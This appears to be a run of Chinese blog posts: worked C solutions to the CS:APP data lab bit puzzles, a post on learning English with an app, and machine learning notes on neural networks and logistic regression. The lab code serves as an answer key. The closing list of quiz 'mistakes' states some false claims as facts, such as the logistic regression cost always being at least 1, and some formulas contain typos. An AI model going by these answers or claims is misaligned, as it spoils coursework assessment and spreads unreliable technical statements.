这个题目要注意的一点就是在 C 语言中||、&&和!是逻辑运算，而~、&、|和^是位级运算。在逻辑运算中，任何非零参数都是表示 True，0 表示 False。所以bang(3)=bang(-3)=0，而bang(0)=1。我们知道在整数的补码表示中+0和-0的符号为都为 0。根据这个特点，可以得到解法：

int bang(int x) {
  int negx = ~x + 1;
  int x_sign = (x >> 31) & 0x1;
  int negx_sign = (negx >> 31) & 0x1;

  return (x_sign | negx_sign) ^ 0x1;
}

tmin

要求：返回使用2进制补码表示的最小的整数
允许操作：! ~ & ^ | + << >>
操作数限制：4

了解补码的表示方式后，直接返回0x80000000即可。

1
2
3

int tmin(void) {
  return 0x1 << 31;
}

fitsBits

要求：如果x可以被 n 位的2进制补码表示则返回1，否则返回0
假定1 <= n <= 32
允许操作：! ~ & ^ | + << >>
操作数限制：15

n 位补码能够表示的数的范围是$[-2^{n-1}, 2^{n-1}-1]$，所以如果在这个范围内则返回1，否则返回0。如果x大于$2^{n-1}-1$，则会发生正溢出，得到负数；如果x小于$-2^{n-1}$则会发生负溢出。所以题目的求解方法就是将x的符号位从第 n 位拓展到第32位得到extened_x，之后通过判断x == exntened_x来判断是否发生了溢出。

int fitsBits(int x, int n) {
  int shiftNum = 32 + (~n + 1);
  return !(((x << shiftNum) >> shiftNum) ^ x);
}

divpwr2

要求：计算$x/2^{n}$，并向零舍入
假定0 <= n <= 30
允许操作：! ~ & ^ | + << >>
操作数限制：15

因为当x > 0时，x >> n会自动向下(向零)舍入，我们不需要做特殊操作。所以在整数x除以$2^{n}$时主要是要实现当x < 0时的向零(向上)舍入，实现方法就是为x添加一个偏移值bias = (1 << n) - 1，计算(x + bias) >> k。

在为 x 添加偏移量后，低 k 位左边的位可能会加 1，也可能不会加 1。对于不需要舍入的情况，加上偏移量只影响那些被移除的位；对于需要舍入的情况，加上偏移量导致较高的位加 1，所以结果会向零舍入。

int divpwr2(int x, int n) {
  int sign = x >> 31;
  int bias = sign & ((1 << n) + (~0));
  return (x + bias) >> n;
}

negate

要求：计算 -x
允许操作：! ~ & ^ | + << >>
操作数限制：5

在整数的补码表示中 -x = (~x) + 1，所以程序很简单：

1
2
3

int negate(int x) {
  return ~x + 1;
}

isPositive

要求：如果x > 0返回1，否则返回 0
允许操作：! ~ & ^ | + << >>
操作数限制：8

利用向右算术移位运算中的符号拓展原则，如果x < 0那么x >> 31会得到 0xFFFFFFFF。注意还要处理x = 0的情况。

1
2
3

int isPositive(int x) {
  return !((x >> 31) | (!x));
}

isLessOrEqual

要求：如果x <= y返回 1，否则返回 0
允许操作：! ~ & ^ | + << >>
操作数限制：24

只判断三种情况：

x < 0 并且 y > 0
x 和 y 的符号位相同，并且 x - y < 0
x = y

int isLessOrEqual(int x, int y) {
  int signx = (x >> 31) & 0x1;
  int signy = (y >> 31) & 0x1;
  int differ = x + (~y + 1);
  int sign_d = (differ >> 31) & 0x1;
  return (signx & (!signy)) | ((!(signx ^ signy)) & sign_d) | (!(x ^ y));
}

ilog2

要求：计算$log_2^{x}$，向下舍入
允许操作：! ~ & ^ | + << >>
操作数限制：90

看这道题目的操作数的限制，就知道很有难度。因为在得到结果后需要向下舍入，所以我们只需要判断x的补码表示中最高位1的位置，或者说要得到最高位1后面的位数。这里主要是使用了类似分治的策略：考虑字的左边 16 位是否为全 0，如果是的话，不做任何操作，如果不为全零的话，说明最高位的1在x补码表示的左半边，那么可以通过右移“砍掉”右半边的数字，并记录被“砍掉”的位数。

int ilog2(int x) {
  int shift1, shift2, shift3, shift4, shift5;

  int sign = !!(x >> 16);
  shift1 = sign << 4;
  x = x >> shift1;

  sign = !!(x >> 8);
  shift2 = sign << 3;
  x = x >> shift2;

  sign = !!(x >> 4);
  shift3 = sign << 2;
  x = x >> shift3;

  sign = !!(x >> 2);
  shift4 = sign << 1;
  x = x >> shift4;

  sign = !!(x >> 1);
  shift5 = sign;
  x = x >> shift5;

  return shift1 + shift2 + shift3 + shift4 + shift5;
}

感觉代码要比我的文字清晰易读多了。

float_neg

要求：f 为浮点数的位级表示，返回-f的位级表示，如果 f 为 NaN，返回 f
允许操作：允许所有有/无符号数的操作，并允许使用 if 和 while
操作数限制：10

浮点数使用 IEEE754标准，单精度的浮点数中有 1 位符号位，8 为指数位和 23 位小数位。

所以当 f 不为 NaN 时，要返回-f，只需要将符号位取反即可；判断 f 是否为 NaN 则要判断指数位是否为全 1，并且小数为不为全 0。

unsigned float_neg(unsigned uf) {
  unsigned exp_mask = 0xff << 23;
  if ((!((uf & exp_mask) ^ exp_mask)) && (uf & ((1 << 23) + (~0)))) {
    return uf;
  }  return (uf ^ (0x1 << 31));
}

float_i2f

要求：返回整数 x 的浮点数的位级表示
允许操作：允许所有有/无符号数的操作，并允许使用 if 和 while
操作数限制：30

讲真，最开始做这个题目的时候我的大脑是一片混乱的，因为要处理的细节很多：舍入、指数位增加偏移量等。最终我参考了小土刀的答案，才基本理清了思路。

要返回的答案，需要组合浮点数三部分(符号位、指数位和小数位)，即
(sign << 31) | (exponent) << 23 | fraction。

当 x = 0 时，返回 0
当 x = 0x80000000 时，令 exponent = 158，因为 158 - 127 = 31，其中 Bias = $2^{n-1} - 1$
如果 x < 0, 则 sign = 1；并令 x = -x，这样之后在做移位等操作就不用担心符号位了
计算整数 x 的位数，作为计算 exponent 的依据
得到 exponent 后，将 x 右移计算小数值 fraction，并且根据移除的值是否大于等于1.5来判断是否要进位，从而实现向零舍入
如果小数位过多，则丢弃最高位并增加 exponent
组合符号位、指数位和小数位

unsigned float_i2f(int x) {
  int sign = (x >> 31) & 0x1;
  int i;
  int exponent = 0;
  int fraction = 0;
  int delta = 0;
  int fraction_mask;
  if (x == 0) {
    return x;
  } else if (x == 0x80000000) {
    exponent = 158;
  } else {
    if (sign) {
      x = -x;
    }
    i = 30;
    while ( !(x >> i) ) {
      i --;
    }
    exponent = i + 127;

    x = x << (31 - i);
    fraction_mask = 0x7fffff;
    fraction = fraction_mask & (x >> 8);
    x = x & 0xff;
    delta = x > 128 || ((x == 128) && (fraction & 0x1));
    fraction += delta;
    if (fraction >> 23) {
      fraction &= fraction_mask;
      exponent += 1;
    }
  }
  return (sign << 31) | (exponent << 23) | fraction;
}

float_twice

要求：返回 2 * f 的位级表示，f 为浮点数 f 的位级表示
如果 f 为 NaN 则返回 f
允许操作：允许所有有/无符号数的操作，并允许使用 if 和 while
操作数限制：30

我们可以针对不同的情况来操作：

若 f 为+0或-0，返回 f
若 f 为无穷大或 NaN，返回 f
若 f 为非规格化浮点数，则保留符号位，并将 f 左移1位
若 f 为规格化浮点数，则将 f 的指数位增加1

unsigned float_twice(unsigned uf) {
  if (uf == 0 || uf == 0x80000000) { return uf; }
  if (((uf >> 23) & 0xff) == 0xff) { return uf; }
  if (((uf >> 23) & 0xff) == 0x00) {
    return (uf & (0x1 << 31)) | (uf << 1);
  }
  return uf + (1 << 23);
}

最终结果

代码规范检查：

代码结果检查：

英语学习的小里程碑

发表于 2017-03-03 更新于 2021-03-03 分类于日志 Disqus：

这个月我达成了自己英语学习的一个小里程碑—英语流利说180天达标退费。

学习英语是我2016年的重要计划，我从元旦开始坚持每天学习英语，主要是通过传统的方法：背单词。坚持两个月之后我觉得这种方法非常低效，自己完全不知道每个单词的语境是什么，怎样使用。而且最重要的是，背单词对我的口语几乎没有任何帮助。

后来在刷微博的时候无意间发现了「英语流利说」这款应用，使用之后觉得很不错。我从二月份开始使用「英语流利说」练习口语，也陆续得购买了一些收费课程，如「赖世雄美语中级教程」。这些课程的优点在于可以用不同颜色标记用户的发音准确程度，并可以显示某个单词的发音方法。使用三个月之后，我感觉自己哑巴英语略有提高，但进步有限。我知道真功夫是不能速成的，所以我也没有着急并在坚持学习。

后来在6月份在App里测试了自己的口语水平得到 level 3 之后，被推荐了「懂你英语」课程。它号称可以让用户在6个月讲一口流利的英语，无障碍参加英语面试。我抱着尝鲜的心态购买了一个月。

「懂你英语」课程的使用体验给我留下了深刻的印象，它通过先听再让用户复述，并附带练习题目的方式让用户学习，而不是简单地朗读文本。这种方式除了对口语提升明显外，也能锻炼听力，因为用户不得不听清楚每个单词、表达以及语法之后才能正确地复述并答对题目。

所以在试用一个月之后，我毫不犹豫得参加了「懂你英语180天」套餐。在用户坚持学习180年并达到相应标准后，流利说就会给用户退回购买「懂你英语」课程的费用—499元。

之后我就开始了漫长了练习过程。因为自己过去十几年的英语学习完全是失败的，学会的是哑巴英语。我的口语力几乎为零。所以在半年的学习过程中，在无法正确复述原句的时候，在无法答对题目的时候，我无数次的想要砸手机，非常痛苦。

不过，最终我的口语能力还是取得了明显的进步。我从 level 3 一直进阶到了现有的最高等级— level 6，并且拿到了满星，最终实现了退费。在现实生活中，我也感觉到了自己英语的进步，我现在可以无障碍的和老外交流（当然，对话内容不复杂^_^），在学校也顺利地完成了接待外宾的任务。

最后，我也想吐槽下「英语流利说」这款应用。首先在学习「懂你英语」是App非常不稳定，进场出现闪退的情况；第二，使用这款App时手机的发热量非常高，我的iPhone 6在服役半年之后，就光荣得因为电池续航问题退役了；第三，也是最让我不满的就是「懂你英语」的课程更新速度非常慢，我在2016年8月份完成了 level 5的学习，可是 level 6的内容直到12月才推出。而 level 7 和 level 8的内容到现在也还没有任何音讯。

经过半年的版本迭代，App本身的闪退和耗电量巨大的问题有了明显好转，但是课程更新速度慢的问题还是没有解决，期待推出 level 7和 level 8 的课程。

总之，「懂你英语」是一款非常优秀的应用，推荐大家学习。

英语能力是一种自由。

【机器学习课程笔记】| Neural Networks

发表于 2017-01-10 更新于 2021-03-03 分类于 MOOC Disqus：

非线性假设（Non-Linear Hypotheses）

使用非线性的多项式可以帮助我们建立更好的分类模型。加入我们使用100个特征来构建一个非线性多项式模型，即使我们仅仅采用两两组合的方法，那么结果也将有超过5000个组合而成的模型，这对于一般的逻辑回归来说需要计算的特征太多了。

正是因为普通的逻辑回归不能很好地处理这么多特征，所以我们需要使用神经网络。

概念

神经网络是由具有适应性的简单单元组成的广泛并行互联的网络，它的组织能够模拟生物神经系统对真实世界物体所作出的交互反应。

神经网络的表示

神经网络中最基本的处理单元被称为神经元（Neuron），它包含多个输入，和一个输出。我们也可以将每个神经元当做一个学习单元，每个单元均采纳多个特征作为输入，并根据本身的模型得到一个输出。将多个神经元按照一定层次组合起来，就得到了神经网络（Neural Network）。一个以逻辑回归模型作为自身学习模型的神经元可以用下图表示，其中的参数可称为“权重（Weight）”。

$$ h_\theta(x)=\frac{1}{1+e^{-\theta^{T}x}} $$

神经网络是许多逻辑单元按照不同层次组织起来的网络，每一层的输出变量是下一层的输出变量。以三层神经网络为例，第一层为输入层（Input Layer），中间一层为隐藏层（Hidden Layers），最后一层为输出层（Output Layer）。

对于上图的模型，激活单元和输出分别表达为：

$$a_1=g(\theta_{10}x_0 +\theta_{11}x_1+\theta_{12}x_2+\theta_{13}x_3)$$
$$a_2=g(\theta_{20}x_0 +\theta_{21}x_1+\theta_{22}x_2+\theta_{23}x_3)$$
$$a_3=g(\theta_{30}x_0 +\theta_{31}x_1+\theta_{32}x_2+\theta_{33}x_3)$$
$$h_{\theta}(x)=g(\theta_{10}^{(2)}a_0+\theta_{11}^{(2)}a_1+\theta_{12}^{(2)}a_2+\theta_{13}^{(2)}a_3)$$

正向传播（Forward Propagation）

我们可以使用向量化的方法来计算神经网络的值：

$$g\Bigg( \begin{bmatrix}
\theta_{10}^{(1)} & \theta_{11}^{(1)} & \theta_{12}^{(1)} & \theta_{13}^{(1)} \\
\theta_{20}^{(1)} & \theta_{21}^{(1)} & \theta_{22}^{(1)} & \theta_{23}^{(1)} \
\theta_{30}^{(1)} & \theta_{31}^{(1)} & \theta_{32}^{(1)} & \theta_{33}^{(1)}
\end{bmatrix} \times \begin{bmatrix}
x_0 \\ x_1 \\ x_2 \\ x_3
\end{bmatrix}\Bigg) = g\Bigg( \begin{bmatrix}
\theta_{10}^{(1)}x_0 + \theta_{11}^{(1)}x_1 + \theta_{12}^{(1)}x_2 + \theta_{13}^{(1)}x_3 \
\theta_{20}^{(1)}x_0 + \theta_{21}^{(1)}x_1 + \theta_{22}^{(1)}x_2 + \theta_{23}^{(1)}x_3 \
\theta_{30}^{(1)}x_0 + \theta_{31}^{(1)}x_1 + \theta_{32}^{(1)}x_2 + \theta_{33}^{(1)}x_3
\end{bmatrix}\Bigg) = \begin{bmatrix}
a_1^{(2)} \\ a_2^{(2)} \\ a_3^{(2)}
\end{bmatrix}$$

本质上讲，神经网络能够通过学习得出其自身的一系列特征。在普通的逻辑回归中，我们被限制为使用数据中的原始特征$x_1, x2,\dots,x_n$，我们虽然可以使用一些二项式组合来组合这些特征，但是我们仍然受到这些原始特征的限制。在神经网络中，原始特征只是输入层，第三层也就是输出层做出的预测利用的是第二层的特征，而非输入层的原始特征，我们可以认为第二层中的特征是神经网络通过学习后自己得出的一系列用于预测输出变量的特征。

感知机与多层网络

感知机（Perceptron）由两层神经元组成，输入层接收外界输入信号后传递给输出层，输出层是M-P神经元，亦称“阈值逻辑单元”。我们可以使用感知机来实现与、或、非运算。

“与”（$x_1 \wedge x_2$）：令$\theta_0=-30, \theta_1=20, \theta_1=20$
“或”（$x_1 \vee x_2$）：令$\theta_0=-10, \theta_1=20, \theta_1=20$
“非”（$\neg x_1$）：令$\theta_0=10, \theta_1=-20$

我们也可以利用组合神经元来组合成为更为复杂的神经网络以实现更复杂的运算，我们也可以使用多层神经网络来实现多分类任务。

参数学习

代价函数

在逻辑回归中，我们的代价函数定义为：

$$J(\theta)=-[\frac{1}{m}\sum_{i=1}^{m}(y^{(i)} \times log(h_{\theta}(x^{(i)}))+(1-y^{(i)}) \times log(1-h_{\theta}(x^{(i)})))]+\frac{\lambda}{2m}\sum_{j=1}^{m}\theta_{j}^{2}$$

在逻辑回归中，我们只有一个输出变量，又称标量（scalar），也只有一个因变量y，但是在神经网络中，我们可以有很多输出变量，我们的$h_\theta(x)$是一个维度为K的向量，而且我们训练集中的因变量也是同样维度的一个向量，因此我们的代价函数会比逻辑回归更加复杂一些，为：

$$J(\theta)=-\frac{1}{m}\Big[\sum_{i=1}^{m}\sum_{k=1}^{K}y_k^{(i)}log(h_{\theta}(x^{(i)}))_k + (1-y_k^{(i)})log(1-(h_{\theta}(x^{(i)}))_k)\Big]+\frac{\lambda}{2m}\sum_{l=1}^{L-1}\sum_{i=1}^{s_l}\sum_{j=1}^{s_j+1}(\theta_{ji}^{(l)})^2$$

这个看起来复杂很多的代价函数背后的思想还是一样的，我们希望通过代价函数来观察算法预测的结果与真是情况的误差有多大，唯一不同的是，对于每一行特征，我们都会给出K个预测。我们可以对每一行特征都预测K个不同结果，然后再利用循环在K个预测中选择可能性最高的一个，将其与y中的实际数据进行比较。

反向传播算法（Back Propagation）

在正向传播算法中，我们从第一层开始正向一层层进行计算，知道最后一层的$h_\theta(x)$。

现在为了计算代价函数的偏导数$\frac{\partial}{\partial\theta_{ij}^{(i)}}J(\theta)$，我们需要采用反向传播算法，就是首先计算最后一层的误差，然后再一层一层反向求出各层的误差，直到倒数第二层。

我们以一个四层的神经网络为例，最后一层的误差是激活单元的预测$a_{k}^{(4)}$与实际值$y_k$之间的误差。我们中$\delta$来表示：
$$\delta^{(4)}=a^{(4)}-y$$
我们利用这个误差值来计算前一层的误差：

$${\delta}^{(3)}=({\theta}^{(3)})^{T}{\delta}^{(4)}.*g’(z^{(3)})$$

其中$g’(z^{(3)})$是S形函数的导数，
$g’(z^{(3)})=a^{(3)}.*(1-a^{(3)})$。而$(\theta^{(3)})^{T}\delta^{(4)}$
则是权重导致的误差的和。下一步继续计算第二层的误差：

$$\delta^{(2)}=(\theta^{(2)})^{T}\delta^{(3)}.*g’(z^{(2)})$$

因为第一层是输入变量，不存在误差。我们有了所有的误差的表达式后，便可以计算代价函数的偏导数。假设我们不做任何归一化处理：

$$\frac{\partial}{\partial\theta_{ij}^{(l)}}J(\theta)=a_{j}^{l}\delta_{i}^{l+1}$$

反向传播算法的过程可以表述为：

有训练集${(x^{(1)}, y^{(1)}),\dots,(x^{(m)}, y^{(m)})}$

对于所有的$(l,i,j)$，设置$\delta_{ij}^{(l)}=0$
for traing_example t = 1 to m:
$a^{(l)}=x^{(t)}$
使用FP来计算$a^{(l)}$
$\delta^{l} = a^{(l)} - y^{(t)}$
$D_{i,j}=\frac{1}{m}(\delta_{ij}^{(l)}+\lambda\theta_{ij}^{(l)})$

梯度检验

当我们对一个较为复杂的模型（例如神经网络）使用梯度下降算法时，可能会存在一些不容易察觉的错误，意味着，虽然代价看上去在不断减小，但最终的结果可能不是最优解。

为了避免这样的问题，我们采用一种叫做梯度数值检验（Numerical Gradient Checking）方法。这种方法的思想是通过估计梯度值来检验我们计算的导数值是否真的是我们要求的。

对梯度的估计采用的方法是在代价函数上沿着切线的方向选择离两个点非常近的点然后计算两个点的平均值用以估计梯度。即对于某个特定的$\theta$，我们计算出在$\theta-\varepsilon$和$\theta+\varepsilon$的代价值，然后求两个代价的平均，用以估计在$\theta$处的代价值。

随机初始化

任何优化算法都需要一些初始的参数。到目前为止我们都是初始所有参数为0，这样的初始方法对于逻辑回归来说是可行的，但是对神经网络来说是不可行的。如果我们令所有的初始参数都为零，这意味着我们第二层的所有激活单元都会有相同的值。同理，如果我们初始所有的参数都为一个非0的数，结果也是一样的。

所以，我们通常初始参数为正负$\varepsilon$之间的随机值。

总结

我们在使用神经网络时，第一件要做的事情就是要选择网络结构，即决定选择多少层以及决定每层分别有多少个单元。

第一层的单元数既是我们训练集的特征数量
最后一层的单元数是我们训练集的结果的类的数量
如果隐藏层数大于1，确保每个隐藏层的单元个数相同，通常情况下隐藏层单元的个数越多越好

训练神经网络的步骤为：

参数的随机初始化
利用正向传播方法计算所有的$h_{\theta}(x)$
编写计算代价函数$J$的代码
利用反向传播方法计算所有偏导数
利用数值检验方法检验这些偏导数
利用优化算法来最小化代价函数

深度学习（Deep Learning）

一般来说，参数越多的模型复杂度越高、“容量”越大，能完成更复杂的学习任务。很深层的神经网络学习模型被称为深度学习模型。对神经网络模型，提高容量的方法就是增加隐藏层的数目。隐藏层多了，相应的神经元连接权、阈值等参数也就越多。然而，多隐层神经网络难以直接用BP算法进行训练，因为误差在多隐层内逆传播时，往往会“发散”而不能收敛到稳定状态。

无监督逐层训练（Unsupervised Layer-wise Training）是多隐层网络训练的有效手段，其基本思想是每次训练一层隐节点，训练时将上一层隐节点的输出作为输入，而本层隐节点的输出作为下一层隐节点的输入，这称为“预训练”；在训练完成之后，再对整个网络进行“微调”训练。

“预训练+微调”的做法可视为将大量参数分组，对每组先找到局部看起来比较好的设置，然后在基于这些局部较优的结果联合起来进行全局寻优。这样就在利用了模型大量参数所提供的自由度的同时，有效节省了训练开销。

另一种节省开销的策略是“权值共享”（weight sharing），即让一组神经元使用相同的连接权。这个策略在卷积神经网络（Convolutional Neural Network）中发挥了重要作用。

总的来说，深度学习是通过多层处理，逐渐将初始的“底层”特征表示转化为“高层”特征表示后，用“简单模型”即可完成复杂的分类等学习任务。由此，我们可以将深度学习理解为进行“特征学习”或表示学习。

参考文献

机器学习周志华
Machine Learning Stanford

【机器学习课程笔记】| Logistic Regression

发表于 2017-01-01 更新于 2021-03-03 分类于 MOOC Disqus：

分类问题

线性回归的内容讨论了如何使用线性模型进行回归学习，并对未来样本做出预测。但是，如果我们要解决分类问题的话，应该怎么做？可不可以利用线性模型来完成分类任务？

利用线性回归解决分类问题

对于二分类问题，一种简单的想法是，我们对一个简单的线性函数设置一个阈值（threshold）。我们使用一个线性函数对样本进行预测，当预测值大于 threshold 时，我们将样本的类别判断为真（或 1 ）；当预测值小于 threshold 时，我们将样本判断为假（或 0 ）。

我们需要将预测值转化为 0/1 值，所以我们可以定义模型为：

$$
y =
\begin{cases}
1 & \quad h_{\theta} \geq 0.5 \
0 & \quad h_{\theta} < 0.5 \
\end{cases}
$$

但问题在于这个函数是不可靠的，例如，当我们有6个样本时，我们根据现有样本做线性回归，可以得到如下的拟合曲线：

如图，下面的三个样本被判定为假，上面的三个样本被判定为真。但是当样本数量增加时，我们的拟合曲线可能会造成判断错误，出现较大的误差。

我们根据新的9个样本进行线性回归，到得到的新的回归曲线。在 $x = 1.25$ 处的样本，它的值大于0.5，应该被判断为真；但是新的回归曲线在该点的函数值小于0.5，所以该样本会被错误地判断为假。

所以，单纯地使用线性回归方法实现二分类是不合适的。

Sigmoid 函数

我们可以使用 Sigmoid 函数，它有非常良好的数学性质，例如：单调可微，在 $0 \dots 1$ 之间变化等。Sigmoid 函数的表达式为： $$ y = \frac{1}{1 + \mathrm{e}^{-\mathrm{z}}} $$
它的函数图形为：

在有了 Sigmoid 方程后，我们可以令 $ z = \theta^{T}x $。也可以得到：
$$ y = \frac{1}{1 + e^{-\theta^{T}x}} $$
即：
$$ ln\frac{y}{1-y} = \theta^{T}x $$
我们可以将 $y$ 看做样本 $x$ 为正例的可能性，将 $1 - y$ 看做样本 $x$ 为反例的可能性。也就是说，我们是在用线性回归模型的预测结果去逼近真实标记的对数几率。所以，这个模型被称为“对数几率回归”（Logistic Regression）。

在这个模型中，我们是直接对分类可能心进行建模，而且无需实现假设分布，这样就可以避免假设分布不准确所带来的问题；它不是仅仅预测出“类别”，而是可以得到近似的概率预测；最后，Sigmoid 函数是一种任意阶可导的凸函数，有很多数值计算方法可以用来求取最优解。

Cost Function

对于线性回归模型，我们定义的代价函数（Cost Function）是所有模型误差的平方和。理论上讲，我们可以对逻辑回归模型沿用这个定义，但是问题在于，当我们将 $ h_{\theta} = \frac{1}{1 + e^{-\theta^{T}x}} $ 带入到代价函数中时，我们得到的代价函数将是非凸函数（non-convex function）。这意味着我们的代价函数有许多局部最小值，这将影响梯度下降算法寻找全局最小值。

所以，我们重新定义逻辑回归的代价函数为:

$$J(\theta) = \frac{1}{m}\sum_{1}^{m}Cost(h_{\theta}(x^{(i)}, y^{(i)}))$$

其中：

$$ Cost(h_{\theta}, y) =
\begin{cases}
-log(h_{\theta}(x)) & \quad y = 1 \
-log(1 - h_{\theta}(x)) & \quad y = 0 \
\end{cases}
$$

$h_{\theta}(x)$与$Cost(h_{\theta}(x), y)$之间的关系如下图所示：

这样构建的 $Cost(h_{\theta},y)$ 的特点是：当实际的$y=1$且$h_{\theta}$也为1时误差为0，当$y = 1$但$h_{\theta}$不为1时，误差随着$h_{\theta}$的变小而变大；当实际的$y = 0$且$h_{\theta}$也为0时，代价为0，当$y=0$但$h_{\theta}$不为0时，误差随着$h_{\theta}$的变大而变大。

这样，我们可以得到简化后的 $Cost(h_{\theta}(x), y)$:

$$ Cost(h_{\theta}(x),y) = -ylog(h_{\theta}(x))-(1-y)log(1-h_{\theta}(x))$$

带入代价方程我们可以得到：

$$
J(\theta) = -\frac{1}{m}[\sum_{i=1}^{m}y^{(i)}logh_{\theta}(x^{(i)})+(1-y^{(i)})og(1-h_{\theta}(x))]
$$

有了这样一个代价函数后，我们就可以使用梯度下降的算法来求得能使代价最小的参数了。

优化

查了梯度下降算法外，我们还可以使用一些常常被用来计算最小代价的算法，这些算法更加复杂和优越，而且不需要人工干预学习率，且比梯度下降算法更加快速。比如：Conjugate Gradient, BFGS, L-BFGS等。我们在实现求解 Logistic Regression 的参数的时候，可以跟根据自己所使用的语言或平台来利用这些函数，从而实现快速、高效的参数学习。

多分类问题

在多分类问题中，我们要训练的样本属于多个类，我们无法使用二元变量对这些类别进行区分。例如，我们要预测一个学生的学习情况，可分为：差、良和优秀。一种解决多分类问题的方法被称为 “One-vs-All” 算法。

One-vs-All

使用 “One-vs-All” 方法，我们将多分类问题，转化为二分类问题。为了实现这样的转变，我们将其中的一个类标记为正类（$y = 1$），其他所有类别标记为负类，这个模型被记作$h_{\theta}^{(1)}(x)$。接着类似地我们将另外一个类选择为正类（$y=2$），其他类别标记为负类，这个模型被记作$h_{\theta}^{(2)}(x)$。以此类推。

我们可以得到分类器模型：$h_{\theta}^{(i)}=p(y=i|x;\theta) \quad i \in [1 \dots k]$。

在预测中，我们要运行每一个分类器，并对每一个输入变量，都选择最高可能性的输出变量。

过度拟合问题（Overfitting）

如果我们的模型中有数目过多的属性，那么我们通过学习所得到的属性可能会非常好得适应训练样本（代价函数的值几乎为0），但是可能无法推广到新的样本中。

如果我们遇到了过拟合问题，一般有两种方法：

减少属性数目
可以是手工选择保留那些属性，也可以运行某些属性选择算法。
归一化（Regularization）
保留所有的属性，但是减少某些属性的重要性（Magnitude）。当我们有很多对预测结果有略微作用的属性时，归一化的效果非常好。

Regularization

Regularization - Cost Funtion

例如在某问题中，我们的预测模型为：

$$ h_{\theta}(x)=\theta_{0}+\theta_{1}x_{1}+\theta_{2}x_{2}^{2}+\theta_{3}x_{3}^{3}+\theta_{4}x_{4}^{4} $$

我们决定减少$\theta_3$和$\theta_4$的作用，要做得就是修改代价函数，为$\theta_3$和$\theta_4$设置一点惩罚。这样的话，我们在尝试最小化代价函数的同时，也需要将这个惩罚纳入考虑中，修改后的代价函数可以是：
$$
min_{\theta}\frac{1}{2m}\sum_{i=1}^{m}((h_{\theta}(x^{(i)})-y^{(i)})+1000\theta_{3}^{2}+10000\theta_{4}^{2})
$$

通过这样的代价函数，我们选择得出的$\theta_{3}$和$\theta_{4}$对预测结果的影响要比之前小得多。

假如我们有非常多的特征，我们并不知道其中哪些特征我们要惩罚，我们将对所有的特征进行惩罚，并且让代价函数最优化的软件来选择这些惩罚的程度。这样的结果是得到了一个较为简单的能防止过拟合问题的假设：

$$
J(\theta)=\frac{1}{2m}\big[\sum_{i=1}^{m}((h_{\theta}(x^{(i)})-y^{(i)})^{2})+\lambda\sum_{j=1}^{n}{\theta}_{j}^{2} \big]
$$

注意：我们不对$\theta_{0}$进行惩罚。

但是如果选择归一化参数$\lambda$过大的话，则会把所有参数的作用都减小，可能造成欠拟合。

Regularized Linear Regression

归一化的线性回归代价函数为：

$$
J(\theta)=\frac{1}{2m}\big[ \sum_{i=1}^{m}((h_{\theta}(x^{(i)})-y^{(i)})^{2}+\lambda\sum_{j=1}^{m}\theta_{j}^{2}) \big]
$$

如果我们采用梯度下降来实现这个代价函数的最小化，因为我们没有对$\theta_0$进行归一化，所以梯度下降算法将分为两种情形：

$$
\quad \theta_0=\theta_0-\alpha\frac{1}{m}\sum_{i=1}^{m}\big[ h_{\theta}(x^{(i)})-y^{(i)} \big]x_{0}^{(i)} \
\quad \theta_{j}=\theta_{j}-\alpha\bigg[ \big[\frac{1}{m}\sum_{i=1}^{m}(h_{\theta}(x^{(i)})-y^{(i)})x_{j}^{(i)} \big]+\frac{\lambda}{m}\theta_{j} \bigg] \
j \in [1 \dots n]
$$

对上式变化可得：

$$
\theta_j=\theta_{j}(1-\alpha\frac{\lambda}{m})-\alpha\frac{1}{m}\sum_{i=1}^{m}(h_{\theta}(x^{(i)})-y^{(i)})x_j^{(i)}
$$

我们可以看到，归一化方程的梯度下降算法就是在每次迭代过程中，令$\theta$减少一个额外的值。

Normal Equation

我们也可以使用正规方程来求解归一化线性回归模型：

$$
\theta = ( X^{T}X - {\lambda}L )^{-1}X^{T}y
$$

其中：

$$
L =
\begin{bmatrix}
0 \
\quad & 1 \
\quad & \quad & \ddots \
\quad & \quad & \quad & 1 \
\end{bmatrix}_{(m+1) \times (n+1)}
$$

注意：如果$X^{T}X$不可逆，则$X^{T}X+{\lambda}L$也不可逆。

错题集锦

下面是我在完成课程的小测验过程中的错题，我将相关知识点罗列如下：

在模型中添加新的属性仅仅可以提高在训练集上的匹配程度。
在$m \geq 1 $个样本上训练得到的 Logistic Regression 代价函数一定大于等于1.
Logistic Regression 的代价函数是“凸函数”，所以梯度下降算法一定会达到全局最优点。但是我们依然可能选择使用优化算法，因为这些算法可以更加高效地习得模型的最佳参数，并且不需要我们选择 Learning Rate。
通过添加新的属性，我们的模型一定会更加精确地表达样本的特点，从而可以习得更加复杂的假设来匹配训练样本。
当$\lambda$被设为1时，我们使用归一化来减少$\theta$的值。这样，$\theta$会更小。
归一化通过“惩罚”参数的作用，可能会实现一个更简单的模型，会分类错误更多的样本。
如果算法在一个训练样本上的分类效果很差的话，这意味着模型处于欠拟合状态。这种情况下，以应该通过增加属性数量、使用多项式回归等方法来提高模型的性能。

参考文献

机器学习周志华
Machine Learning Stanford